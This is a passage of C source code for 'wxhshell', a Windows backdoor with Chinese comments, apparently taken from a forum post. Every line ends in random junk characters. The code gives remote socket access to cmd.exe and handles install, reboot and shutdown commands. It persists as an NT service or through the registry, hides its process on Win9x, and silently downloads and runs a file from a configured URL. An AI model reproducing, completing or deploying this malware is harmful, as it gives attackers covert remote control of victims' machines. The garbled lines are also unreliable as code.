      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `B"=\0  
    break; .%h.b6^  
  } B9/x?Jv1  
  // 安装 '%yWz)P  
  case 'i': { s@E "EWp0  
    if(Install()) } '.l'%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #qGfo)  
    else ;+g p#&i`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Oo(w%BD]  
    break; 4iBp!k7  
    } KY<>S/  
  // 卸载 B@Ez,u5  
  case 'r': { 29 L~SMf  
    if(Uninstall()) 7@$Hua,GY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Ma"B4  
    else E5UI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xa.Qt.C  
    break; p\wE})mu  
    } # nwEF QA  
  // 显示 wxhshell 所在路径 n|Iy  
  case 'p': { lV: R8^d  
    char svExeFile[MAX_PATH]; %'nM!7w@I  
    strcpy(svExeFile,"\n\r"); ^<'5 V)  
      strcat(svExeFile,ExeFile); Y'&A~/Adf  
        send(wsh,svExeFile,strlen(svExeFile),0); `=RJ8u  
    break; F``$}]9KHD  
    } OWx YV$  
  // 重启 E'?yI' ~=  
  case 'b': { I#zrz3WU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %kS+n_*  
    if(Boot(REBOOT)) U,yU-8z/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $(H%|Oyn  
    else { }+h/2D  
    closesocket(wsh); -tAdA2?G  
    ExitThread(0); mVg-z~44T  
    } <LIL{g0eX  
    break; UJ 1iXV[h"  
    } BK]bSj  
  // 关机 n$g g$<  
  case 'd': { DnS# cs~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F=U3o=-:  
    if(Boot(SHUTDOWN)) &*B=5W;6^u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2--"@@  
    else { 3 k py3z[%  
    closesocket(wsh); WLd{+y5#  
    ExitThread(0); Fd":\7p  
    } R"EX$Zj^E  
    break; Mp^%.m  
    } xAw$bJj~s  
  // 获取shell I$9^i#O'3  
  case 's': { Jp=eh   
    CmdShell(wsh); ME7jF9d  
    closesocket(wsh); tI0d!8K  
    ExitThread(0); 1T a48  
    break; `9n%Dy<  
  } 9}Ud'#E  
  // 退出 oA%8k51>~K  
  case 'x': { CvKXVhf0$J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NK2Kw{c"iI  
    CloseIt(wsh); y8'WR-;  
    break; i[/g&fx  
    } 3zo]*6p0  
  // 离开 >!MOgLO3  
  case 'q': { oMawIND a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /_5I}{  
    closesocket(wsh); uo;aC$US  
    WSACleanup(); R5c Ya  
    exit(1); 47.c  
    break; GoP,_sd\O  
        } ~F[}*%iR  
  } Kq@nBkO4  
  } _fx0-S*$  
zZ &L#  
  // 提示信息 D1o<:jOj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k #y4pF_  
} ;UTT>j  
  } REUWK#>  
wYQTG*&h  
  return; mr dG- t(k  
} y! he<4  
r|wB& PGW  
// shell模块句柄 Q?-HU,RBO  
int CmdShell(SOCKET sock) +ntrp='7O7  
{ aG.j0`)%  
STARTUPINFO si; 7p%W)=v  
ZeroMemory(&si,sizeof(si)); k nrR%e;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6FNs4|(d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ++d(}^C;  
PROCESS_INFORMATION ProcessInfo; xdb9oH  
char cmdline[]="cmd"; -Zx hh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1t haQ"  
  return 0; np,L39:sf  
}  =+9.X8SP  
KKP}fN  
// 自身启动模式 f_a.BTtNO  
int StartFromService(void) xP%`QTl\  
{ <3C~<  
typedef struct /HbxY  
{ $zS0]@Dj  
  DWORD ExitStatus; hbRDM'  
  DWORD PebBaseAddress; hfT HP  
  DWORD AffinityMask; ~L$B]\/A5  
  DWORD BasePriority; _i{$5JJ+K2  
  ULONG UniqueProcessId; S`HshYlE q  
  ULONG InheritedFromUniqueProcessId; m99j]w r~c  
}   PROCESS_BASIC_INFORMATION; P=PcO>  
wQbN5*82  
PROCNTQSIP NtQueryInformationProcess; 4lhoA  
>Pne@w!*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Seh[".l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B7r={P!0  
[~03Z[_"/  
  HANDLE             hProcess; K dY3  
  PROCESS_BASIC_INFORMATION pbi; 4+%;eY.A  
8}9|hT;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #-$\f(+<  
  if(NULL == hInst ) return 0; d\C x(Lb[  
3Z=OUhn9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [SGt ~bRJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ylbh_ d~BU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RU&,z3LEb  
jY>|>]4X  
  if (!NtQueryInformationProcess) return 0; ?&$??r^i  
V?AHj<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >^}nk04  
  if(!hProcess) return 0; zy\p,  
YoiM\gw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V#8]io  
"8MG[$Y  
  CloseHandle(hProcess); <YX)am'\y  
B;xw @:H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <tkxE!xF`J  
if(hProcess==NULL) return 0; AffVah2o:  
tdZ,sHY6  
HMODULE hMod; *lHI\5  
char procName[255]; @i'24Q[6  
unsigned long cbNeeded; #;FHyKx  
62lG,y_L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mUW|4zl i}  
uim4,Zm{  
  CloseHandle(hProcess); }YUUCq&  
\Y.&G,?  
if(strstr(procName,"services")) return 1; // 以服务启动 %qA@)u53  
C"l_78  
  return 0; // 注册表启动 "q@OM f  
} lr SdFJ%  
BG:l Zj'I  
// 主模块 6&/H XqP  
int StartWxhshell(LPSTR lpCmdLine) p ;E zmz  
{ b]S4\BBT  
  SOCKET wsl;  .b] 32Ww  
BOOL val=TRUE; W+k`^A|@  
  int port=0; Wy^43g38'p  
  struct sockaddr_in door; w5*?P4P  
P<P4*cOV  
  if(wscfg.ws_autoins) Install(); P|}~=2J  
MgJiJ0y  
port=atoi(lpCmdLine); w?_y;&sbR  
tY$ .(2Ua  
if(port<=0) port=wscfg.ws_port;  +C3IP  
VB6EM|bphl  
  WSADATA data; `:WVp~fn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n{vp&  
3/a$oO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Co6ghH7T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); weQC9e~d{-  
  door.sin_family = AF_INET; I)$`@.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >C""T`5]  
  door.sin_port = htons(port); XVXiiQ^  
BLx tS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gQy {OU  
closesocket(wsl); 'VA\dpa{J  
return 1; ""`> v`\  
} e*5TZ7.  
Oi{X \Y  
  if(listen(wsl,2) == INVALID_SOCKET) { y Q\K;  
closesocket(wsl); {l&6= z  
return 1; ,EPs>#d  
} sO7$b@"u.  
  Wxhshell(wsl); @91Q=S  
  WSACleanup(); c +Pg[1-  
`>:ozN#)\  
return 0; 7{=<_  
Kj[X1X5  
} cJ9:XWW  
l:NEK`>i  
// 以NT服务方式启动 (WT0 j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n 99>oh  
{ bni :B?#  
DWORD   status = 0; )@DT^#zR  
  DWORD   specificError = 0xfffffff; aYQ!`mS::M  
4-^LC<}k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g Z3VT{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /BC(O[P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;u;YfOr  
  serviceStatus.dwWin32ExitCode     = 0; 'A91i  
  serviceStatus.dwServiceSpecificExitCode = 0; 3UeG>5R  
  serviceStatus.dwCheckPoint       = 0; jJ% *hDZ6t  
  serviceStatus.dwWaitHint       = 0; f(q^R  
S-[]z*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w <zO  
  if (hServiceStatusHandle==0) return; x7$U  
$q#|B3N%  
status = GetLastError(); x:8xGG9  
  if (status!=NO_ERROR) M7vc/E}]n  
{ :b+C<Bp64r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7aTo! T  
    serviceStatus.dwCheckPoint       = 0; :32  
    serviceStatus.dwWaitHint       = 0; M ,.++W\  
    serviceStatus.dwWin32ExitCode     = status; 9:0JWW^so  
    serviceStatus.dwServiceSpecificExitCode = specificError; yO Cv-zm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `X?l`H;#  
    return; 2GRh8G&5  
  } EgIFi{q=0  
xQs2 )  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I^ W  
  serviceStatus.dwCheckPoint       = 0; @D K,ka(  
  serviceStatus.dwWaitHint       = 0; b{H&%Jx)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kE QT[Lo  
} m Nw|S*C  
r.M8#YL  
// 处理NT服务事件,比如:启动、停止 CFD& -tED&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p1t9s N,  
{ "El$Sat`  
switch(fdwControl) 1fRYXqx  
{ ,ZjbbBZ  
case SERVICE_CONTROL_STOP: rlu{C4l  
  serviceStatus.dwWin32ExitCode = 0; W&`_cGoP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k^I4z^O=-;  
  serviceStatus.dwCheckPoint   = 0; D6Ov]E:fa  
  serviceStatus.dwWaitHint     = 0; mj :8ZZ  
  { d |Wpub  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cw#p!mOi~  
  } 7V?]Qif~  
  return; H~RWM'_  
case SERVICE_CONTROL_PAUSE: jTk !wm=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *%5#\ I  
  break; 2#'{Q4K  
case SERVICE_CONTROL_CONTINUE: ehj&A+Ip  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "PGEiLY  
  break; ]5D?Sc#-  
case SERVICE_CONTROL_INTERROGATE: DV +DJcF  
  break; Ty\&ARjb 8  
}; w C]yE\P1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j<!rc>)2+L  
} 0+IJ, ;Wx  
1vQf=t %lw  
// 标准应用程序主函数 Mvoi   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^.jIus5  
{ PIP2(-{ai  
g<oSTA w  
// 获取操作系统版本 y]eH@:MJ;A  
OsIsNt=GetOsVer(); hfP}+on%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); # 4`*`)%  
+g ovnx  
  // 从命令行安装 ~Bn#A kL  
  if(strpbrk(lpCmdLine,"iI")) Install(); " M8 j?  
FX)g\=ov  
  // 下载执行文件 yNdtq\h  
if(wscfg.ws_downexe) { 2-nL2f!a{p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uc~PKU?tO  
  WinExec(wscfg.ws_filenam,SW_HIDE); D8slSX`6j  
} O-:#Q(H!  
yJ8WYQQMG  
if(!OsIsNt) { nab:y(]$/  
// 如果时win9x,隐藏进程并且设置为注册表启动 -tZ2 N  
HideProc(); PH 97O`"  
StartWxhshell(lpCmdLine); hu[=9#''$  
} q5:-?|jXJ  
else ],R rk]1  
  if(StartFromService()) [qlq&?"  
  // 以服务方式启动 mIq6\c$  
  StartServiceCtrlDispatcher(DispatchTable); vV.'&."g  
else pu nc'~  
  // 普通方式启动 F7UY>z3jL  
  StartWxhshell(lpCmdLine); 'R8VCj  
i%>]$*  
return 0; /lDW5;d  
}
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只看该作者 1 发表于: 2006-10-10
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